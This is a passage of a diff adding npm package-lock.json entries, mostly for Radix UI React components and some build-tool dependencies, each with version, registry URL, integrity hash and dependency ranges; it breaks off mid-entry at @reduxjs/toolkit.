"sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og==",+ "dev": true,+ "license": "MIT"+ },+ "node_modules/@jridgewell/trace-mapping": {+ "version": "0.3.31",+ "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.31.tgz",+ "integrity": "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@jridgewell/resolve-uri": "^3.1.0",+ "@jridgewell/sourcemap-codec": "^1.4.14"+ }+ },+ "node_modules/@nodelib/fs.scandir": {+ "version": "2.1.5",+ "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz",+ "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@nodelib/fs.stat": "2.0.5",+ "run-parallel": "^1.1.9"+ },+ "engines": {+ "node": ">= 8"+ }+ },+ "node_modules/@nodelib/fs.stat": {+ "version": "2.0.5",+ "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz",+ "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==",+ "dev": true,+ "license": "MIT",+ "engines": {+ "node": ">= 8"+ }+ },+ "node_modules/@nodelib/fs.walk": {+ "version": "1.2.8",+ "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz",+ "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==",+ "dev": true,+ "license": "MIT",+ "dependencies": {+ "@nodelib/fs.scandir": "2.1.5",+ "fastq": "^1.6.0"+ },+ "engines": {+ "node": ">= 8"+ }+ },+ "node_modules/@radix-ui/primitive": {+ "version": "1.1.3",+ "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.1.3.tgz",+ "integrity": "sha512-JTF99U/6XIjCBo0wqkU5sK10glYe27MRRsfwoiq5zzOEZLHU3A3KCMa5X/azekYRCJ0HlwI0crAXS/5dEHTzDg=="+ },+ "node_modules/@radix-ui/react-arrow": {+ "version": "1.1.7",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-arrow/-/react-arrow-1.1.7.tgz",+ "integrity": "sha512-F+M1tLhO+mlQaOWspE8Wstg+z6PwxwRd8oQ8IXceWz92kfAmalTRf0EjrouQeo7QssEPfCn05B4Ihs1K9WQ/7w==",+ "dependencies": {+ "@radix-ui/react-primitive": "2.1.3"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-collapsible": {+ "version": "1.1.12",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-collapsible/-/react-collapsible-1.1.12.tgz",+ "integrity": "sha512-Uu+mSh4agx2ib1uIGPP4/CKNULyajb3p92LsVXmH2EHVMTfZWpll88XJ0j4W0z3f8NK1eYl1+Mf/szHPmcHzyA==",+ "dependencies": {+ "@radix-ui/primitive": "1.1.3",+ "@radix-ui/react-compose-refs": "1.1.2",+ "@radix-ui/react-context": "1.1.2",+ "@radix-ui/react-id": "1.1.1",+ "@radix-ui/react-presence": "1.1.5",+ "@radix-ui/react-primitive": "2.1.3",+ "@radix-ui/react-use-controllable-state": "1.2.2",+ "@radix-ui/react-use-layout-effect": "1.1.1"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-collection": {+ "version": "1.1.7",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-collection/-/react-collection-1.1.7.tgz",+ "integrity": "sha512-Fh9rGN0MoI4ZFUNyfFVNU4y9LUz93u9/0K+yLgA2bwRojxM8JU1DyvvMBabnZPBgMWREAJvU2jjVzq+LrFUglw==",+ "dependencies": {+ "@radix-ui/react-compose-refs": "1.1.2",+ "@radix-ui/react-context": "1.1.2",+ "@radix-ui/react-primitive": "2.1.3",+ "@radix-ui/react-slot": "1.2.3"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-compose-refs": {+ "version": "1.1.2",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.1.2.tgz",+ "integrity": "sha512-z4eqJvfiNnFMHIIvXP3CY57y2WJs5g2v3X0zm9mEJkrkNv4rDxu+sg9Jh8EkXyeqBkB7SOcboo9dMVqhyrACIg==",+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-context": {+ "version": "1.1.2",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.1.2.tgz",+ "integrity": "sha512-jCi/QKUM2r1Ju5a3J64TH2A5SpKAgh0LpknyqdQ4m6DCV0xJ2HG1xARRwNGPQfi1SLdLWZ1OJz6F4OMBBNiGJA==",+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-dialog": {+ "version": "1.1.15",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-dialog/-/react-dialog-1.1.15.tgz",+ "integrity": "sha512-TCglVRtzlffRNxRMEyR36DGBLJpeusFcgMVD9PZEzAKnUs1lKCgX5u9BmC2Yg+LL9MgZDugFFs1Vl+Jp4t/PGw==",+ "dependencies": {+ "@radix-ui/primitive": "1.1.3",+ "@radix-ui/react-compose-refs": "1.1.2",+ "@radix-ui/react-context": "1.1.2",+ "@radix-ui/react-dismissable-layer": "1.1.11",+ "@radix-ui/react-focus-guards": "1.1.3",+ "@radix-ui/react-focus-scope": "1.1.7",+ "@radix-ui/react-id": "1.1.1",+ "@radix-ui/react-portal": "1.1.9",+ "@radix-ui/react-presence": "1.1.5",+ "@radix-ui/react-primitive": "2.1.3",+ "@radix-ui/react-slot": "1.2.3",+ "@radix-ui/react-use-controllable-state": "1.2.2",+ "aria-hidden": "^1.2.4",+ "react-remove-scroll": "^2.6.3"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-direction": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.1.1.tgz",+ "integrity": "sha512-1UEWRX6jnOA2y4H5WczZ44gOOjTEmlqv1uNW4GAJEO5+bauCBhv8snY65Iw5/VOS/ghKN9gr2KjnLKxrsvoMVw==",+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-dismissable-layer": {+ "version": "1.1.11",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-dismissable-layer/-/react-dismissable-layer-1.1.11.tgz",+ "integrity": "sha512-Nqcp+t5cTB8BinFkZgXiMJniQH0PsUt2k51FUhbdfeKvc4ACcG2uQniY/8+h1Yv6Kza4Q7lD7PQV0z0oicE0Mg==",+ "dependencies": {+ "@radix-ui/primitive": "1.1.3",+ "@radix-ui/react-compose-refs": "1.1.2",+ "@radix-ui/react-primitive": "2.1.3",+ "@radix-ui/react-use-callback-ref": "1.1.1",+ "@radix-ui/react-use-escape-keydown": "1.1.1"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-dropdown-menu": {+ "version": "2.1.16",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-dropdown-menu/-/react-dropdown-menu-2.1.16.tgz",+ "integrity": "sha512-1PLGQEynI/3OX/ftV54COn+3Sud/Mn8vALg2rWnBLnRaGtJDduNW/22XjlGgPdpcIbiQxjKtb7BkcjP00nqfJw==",+ "dependencies": {+ "@radix-ui/primitive": "1.1.3",+ "@radix-ui/react-compose-refs": "1.1.2",+ "@radix-ui/react-context": "1.1.2",+ "@radix-ui/react-id": "1.1.1",+ "@radix-ui/react-menu": "2.1.16",+ "@radix-ui/react-primitive": "2.1.3",+ "@radix-ui/react-use-controllable-state": "1.2.2"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-focus-guards": {+ "version": "1.1.3",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-guards/-/react-focus-guards-1.1.3.tgz",+ "integrity": "sha512-0rFg/Rj2Q62NCm62jZw0QX7a3sz6QCQU0LpZdNrJX8byRGaGVTqbrW9jAoIAHyMQqsNpeZ81YgSizOt5WXq0Pw==",+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-focus-scope": {+ "version": "1.1.7",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-focus-scope/-/react-focus-scope-1.1.7.tgz",+ "integrity": "sha512-t2ODlkXBQyn7jkl6TNaw/MtVEVvIGelJDCG41Okq/KwUsJBwQ4XVZsHAVUkK4mBv3ewiAS3PGuUWuY2BoK4ZUw==",+ "dependencies": {+ "@radix-ui/react-compose-refs": "1.1.2",+ "@radix-ui/react-primitive": "2.1.3",+ "@radix-ui/react-use-callback-ref": "1.1.1"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-id": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-id/-/react-id-1.1.1.tgz",+ "integrity": "sha512-kGkGegYIdQsOb4XjsfM97rXsiHaBwco+hFI66oO4s9LU+PLAC5oJ7khdOVFxkhsmlbpUqDAvXw11CluXP+jkHg==",+ "dependencies": {+ "@radix-ui/react-use-layout-effect": "1.1.1"+ },+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-menu": {+ "version": "2.1.16",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-menu/-/react-menu-2.1.16.tgz",+ "integrity": "sha512-72F2T+PLlphrqLcAotYPp0uJMr5SjP5SL01wfEspJbru5Zs5vQaSHb4VB3ZMJPimgHHCHG7gMOeOB9H3Hdmtxg==",+ "dependencies": {+ "@radix-ui/primitive": "1.1.3",+ "@radix-ui/react-collection": "1.1.7",+ "@radix-ui/react-compose-refs": "1.1.2",+ "@radix-ui/react-context": "1.1.2",+ "@radix-ui/react-direction": "1.1.1",+ "@radix-ui/react-dismissable-layer": "1.1.11",+ "@radix-ui/react-focus-guards": "1.1.3",+ "@radix-ui/react-focus-scope": "1.1.7",+ "@radix-ui/react-id": "1.1.1",+ "@radix-ui/react-popper": "1.2.8",+ "@radix-ui/react-portal": "1.1.9",+ "@radix-ui/react-presence": "1.1.5",+ "@radix-ui/react-primitive": "2.1.3",+ "@radix-ui/react-roving-focus": "1.1.11",+ "@radix-ui/react-slot": "1.2.3",+ "@radix-ui/react-use-callback-ref": "1.1.1",+ "aria-hidden": "^1.2.4",+ "react-remove-scroll": "^2.6.3"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-popper": {+ "version": "1.2.8",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-popper/-/react-popper-1.2.8.tgz",+ "integrity": "sha512-0NJQ4LFFUuWkE7Oxf0htBKS6zLkkjBH+hM1uk7Ng705ReR8m/uelduy1DBo0PyBXPKVnBA6YBlU94MBGXrSBCw==",+ "dependencies": {+ "@floating-ui/react-dom": "^2.0.0",+ "@radix-ui/react-arrow": "1.1.7",+ "@radix-ui/react-compose-refs": "1.1.2",+ "@radix-ui/react-context": "1.1.2",+ "@radix-ui/react-primitive": "2.1.3",+ "@radix-ui/react-use-callback-ref": "1.1.1",+ "@radix-ui/react-use-layout-effect": "1.1.1",+ "@radix-ui/react-use-rect": "1.1.1",+ "@radix-ui/react-use-size": "1.1.1",+ "@radix-ui/rect": "1.1.1"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-portal": {+ "version": "1.1.9",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-portal/-/react-portal-1.1.9.tgz",+ "integrity": "sha512-bpIxvq03if6UNwXZ+HTK71JLh4APvnXntDc6XOX8UVq4XQOVl7lwok0AvIl+b8zgCw3fSaVTZMpAPPagXbKmHQ==",+ "dependencies": {+ "@radix-ui/react-primitive": "2.1.3",+ "@radix-ui/react-use-layout-effect": "1.1.1"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-presence": {+ "version": "1.1.5",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.1.5.tgz",+ "integrity": "sha512-/jfEwNDdQVBCNvjkGit4h6pMOzq8bHkopq458dPt2lMjx+eBQUohZNG9A7DtO/O5ukSbxuaNGXMjHicgwy6rQQ==",+ "dependencies": {+ "@radix-ui/react-compose-refs": "1.1.2",+ "@radix-ui/react-use-layout-effect": "1.1.1"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-primitive": {+ "version": "2.1.3",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-2.1.3.tgz",+ "integrity": "sha512-m9gTwRkhy2lvCPe6QJp4d3G1TYEUHn/FzJUtq9MjH46an1wJU+GdoGC5VLof8RX8Ft/DlpshApkhswDLZzHIcQ==",+ "dependencies": {+ "@radix-ui/react-slot": "1.2.3"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-roving-focus": {+ "version": "1.1.11",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-roving-focus/-/react-roving-focus-1.1.11.tgz",+ "integrity": "sha512-7A6S9jSgm/S+7MdtNDSb+IU859vQqJ/QAtcYQcfFC6W8RS4IxIZDldLR0xqCFZ6DCyrQLjLPsxtTNch5jVA4lA==",+ "dependencies": {+ "@radix-ui/primitive": "1.1.3",+ "@radix-ui/react-collection": "1.1.7",+ "@radix-ui/react-compose-refs": "1.1.2",+ "@radix-ui/react-context": "1.1.2",+ "@radix-ui/react-direction": "1.1.1",+ "@radix-ui/react-id": "1.1.1",+ "@radix-ui/react-primitive": "2.1.3",+ "@radix-ui/react-use-callback-ref": "1.1.1",+ "@radix-ui/react-use-controllable-state": "1.2.2"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-slot": {+ "version": "1.2.3",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.2.3.tgz",+ "integrity": "sha512-aeNmHnBxbi2St0au6VBVC7JXFlhLlOnvIIlePNniyUNAClzmtAUEY8/pBiK3iHjufOlwA+c20/8jngo7xcrg8A==",+ "dependencies": {+ "@radix-ui/react-compose-refs": "1.1.2"+ },+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-tabs": {+ "version": "1.1.13",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-tabs/-/react-tabs-1.1.13.tgz",+ "integrity": "sha512-7xdcatg7/U+7+Udyoj2zodtI9H/IIopqo+YOIcZOq1nJwXWBZ9p8xiu5llXlekDbZkca79a/fozEYQXIA4sW6A==",+ "dependencies": {+ "@radix-ui/primitive": "1.1.3",+ "@radix-ui/react-context": "1.1.2",+ "@radix-ui/react-direction": "1.1.1",+ "@radix-ui/react-id": "1.1.1",+ "@radix-ui/react-presence": "1.1.5",+ "@radix-ui/react-primitive": "2.1.3",+ "@radix-ui/react-roving-focus": "1.1.11",+ "@radix-ui/react-use-controllable-state": "1.2.2"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-toast": {+ "version": "1.2.15",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-toast/-/react-toast-1.2.15.tgz",+ "integrity": "sha512-3OSz3TacUWy4WtOXV38DggwxoqJK4+eDkNMl5Z/MJZaoUPaP4/9lf81xXMe1I2ReTAptverZUpbPY4wWwWyL5g==",+ "dependencies": {+ "@radix-ui/primitive": "1.1.3",+ "@radix-ui/react-collection": "1.1.7",+ "@radix-ui/react-compose-refs": "1.1.2",+ "@radix-ui/react-context": "1.1.2",+ "@radix-ui/react-dismissable-layer": "1.1.11",+ "@radix-ui/react-portal": "1.1.9",+ "@radix-ui/react-presence": "1.1.5",+ "@radix-ui/react-primitive": "2.1.3",+ "@radix-ui/react-use-callback-ref": "1.1.1",+ "@radix-ui/react-use-controllable-state": "1.2.2",+ "@radix-ui/react-use-layout-effect": "1.1.1",+ "@radix-ui/react-visually-hidden": "1.2.3"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-tooltip": {+ "version": "1.2.8",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-tooltip/-/react-tooltip-1.2.8.tgz",+ "integrity": "sha512-tY7sVt1yL9ozIxvmbtN5qtmH2krXcBCfjEiCgKGLqunJHvgvZG2Pcl2oQ3kbcZARb1BGEHdkLzcYGO8ynVlieg==",+ "dependencies": {+ "@radix-ui/primitive": "1.1.3",+ "@radix-ui/react-compose-refs": "1.1.2",+ "@radix-ui/react-context": "1.1.2",+ "@radix-ui/react-dismissable-layer": "1.1.11",+ "@radix-ui/react-id": "1.1.1",+ "@radix-ui/react-popper": "1.2.8",+ "@radix-ui/react-portal": "1.1.9",+ "@radix-ui/react-presence": "1.1.5",+ "@radix-ui/react-primitive": "2.1.3",+ "@radix-ui/react-slot": "1.2.3",+ "@radix-ui/react-use-controllable-state": "1.2.2",+ "@radix-ui/react-visually-hidden": "1.2.3"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-use-callback-ref": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.1.1.tgz",+ "integrity": "sha512-FkBMwD+qbGQeMu1cOHnuGB6x4yzPjho8ap5WtbEJ26umhgqVXbhekKUQO+hZEL1vU92a3wHwdp0HAcqAUF5iDg==",+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-use-controllable-state": {+ "version": "1.2.2",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-controllable-state/-/react-use-controllable-state-1.2.2.tgz",+ "integrity": "sha512-BjasUjixPFdS+NKkypcyyN5Pmg83Olst0+c6vGov0diwTEo6mgdqVR6hxcEgFuh4QrAs7Rc+9KuGJ9TVCj0Zzg==",+ "dependencies": {+ "@radix-ui/react-use-effect-event": "0.0.2",+ "@radix-ui/react-use-layout-effect": "1.1.1"+ },+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-use-effect-event": {+ "version": "0.0.2",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-effect-event/-/react-use-effect-event-0.0.2.tgz",+ "integrity": "sha512-Qp8WbZOBe+blgpuUT+lw2xheLP8q0oatc9UpmiemEICxGvFLYmHm9QowVZGHtJlGbS6A6yJ3iViad/2cVjnOiA==",+ "dependencies": {+ "@radix-ui/react-use-layout-effect": "1.1.1"+ },+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-use-escape-keydown": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-escape-keydown/-/react-use-escape-keydown-1.1.1.tgz",+ "integrity": "sha512-Il0+boE7w/XebUHyBjroE+DbByORGR9KKmITzbR7MyQ4akpORYP/ZmbhAr0DG7RmmBqoOnZdy2QlvajJ2QA59g==",+ "dependencies": {+ "@radix-ui/react-use-callback-ref": "1.1.1"+ },+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-use-layout-effect": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.1.1.tgz",+ "integrity": "sha512-RbJRS4UWQFkzHTTwVymMTUv8EqYhOp8dOOviLj2ugtTiXRaRQS7GLGxZTLL1jWhMeoSCf5zmcZkqTl9IiYfXcQ==",+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-use-rect": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-rect/-/react-use-rect-1.1.1.tgz",+ "integrity": "sha512-QTYuDesS0VtuHNNvMh+CjlKJ4LJickCMUAqjlE3+j8w+RlRpwyX3apEQKGFzbZGdo7XNG1tXa+bQqIE7HIXT2w==",+ "dependencies": {+ "@radix-ui/rect": "1.1.1"+ },+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-use-size": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-use-size/-/react-use-size-1.1.1.tgz",+ "integrity": "sha512-ewrXRDTAqAXlkl6t/fkXWNAhFX9I+CkKlw6zjEwk86RSPKwZr3xpBRso655aqYafwtnbpHLj6toFzmd6xdVptQ==",+ "dependencies": {+ "@radix-ui/react-use-layout-effect": "1.1.1"+ },+ "peerDependencies": {+ "@types/react": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/react-visually-hidden": {+ "version": "1.2.3",+ "resolved": "https://registry.npmjs.org/@radix-ui/react-visually-hidden/-/react-visually-hidden-1.2.3.tgz",+ "integrity": "sha512-pzJq12tEaaIhqjbzpCuv/OypJY/BPavOofm+dbab+MHLajy277+1lLm6JFcGgF5eskJ6mquGirhXY2GD/8u8Ug==",+ "dependencies": {+ "@radix-ui/react-primitive": "2.1.3"+ },+ "peerDependencies": {+ "@types/react": "*",+ "@types/react-dom": "*",+ "react": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc",+ "react-dom": "^16.8 || ^17.0 || ^18.0 || ^19.0 || ^19.0.0-rc"+ },+ "peerDependenciesMeta": {+ "@types/react": {+ "optional": true+ },+ "@types/react-dom": {+ "optional": true+ }+ }+ },+ "node_modules/@radix-ui/rect": {+ "version": "1.1.1",+ "resolved": "https://registry.npmjs.org/@radix-ui/rect/-/rect-1.1.1.tgz",+ "integrity": "sha512-HPwpGIzkl28mWyZqG52jiqDJ12waP11Pa1lGoiyUkIEuMLBP0oeK/C89esbXrxsky5we7dfd8U58nm0SgAWpVw=="+ },+ "node_modules/@reduxjs/toolkit": {+ "version": "2.10.1",+ "resolved": 